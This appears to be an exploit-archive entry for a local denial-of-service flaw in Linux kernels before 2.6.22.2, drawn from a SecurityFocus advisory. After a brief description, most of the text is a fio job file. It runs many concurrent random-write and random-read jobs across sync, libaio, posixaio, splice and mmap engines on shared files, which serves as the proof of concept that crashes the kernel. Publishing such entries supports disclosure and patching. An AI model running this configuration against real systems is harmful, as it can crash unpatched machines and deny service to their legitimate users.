source: https://www.securityfocus.com/bid/31201/info The Linux kernel is prone to a local denial-of-service vulnerability. Attackers can exploit this issue to cause the kernel to crash, denying service to legitimate users. This issue affects versions prior to Linux kernel 2.6.22.2. [global] bs=8k iodepth=1024 iodepth_batch=60 randrepeat=1 size=1m directory=/home/oracle numjobs=20 [job1] ioengine=sync bs=1k direct=1 rw=randread filename=file1:file2 [job2] ioengine=libaio rw=randwrite direct=1 filename=file1:file2 [job3] bs=1k ioengine=posixaio rw=randwrite direct=1 filename=file1:file2 [job4] ioengine=splice direct=1 rw=randwrite filename=file1:file2 [job5] bs=1k ioengine=sync rw=randread filename=file1:file2 [job7] ioengine=libaio rw=randwrite filename=file1:file2 [job8] ioengine=posixaio rw=randwrite filename=file1:file2 [job9] ioengine=splice rw=randwrite filename=file1:file2 [job10] ioengine=mmap rw=randwrite bs=1k filename=file1:file2 [job11] ioengine=mmap rw=randwrite direct=1 filename=file1:file2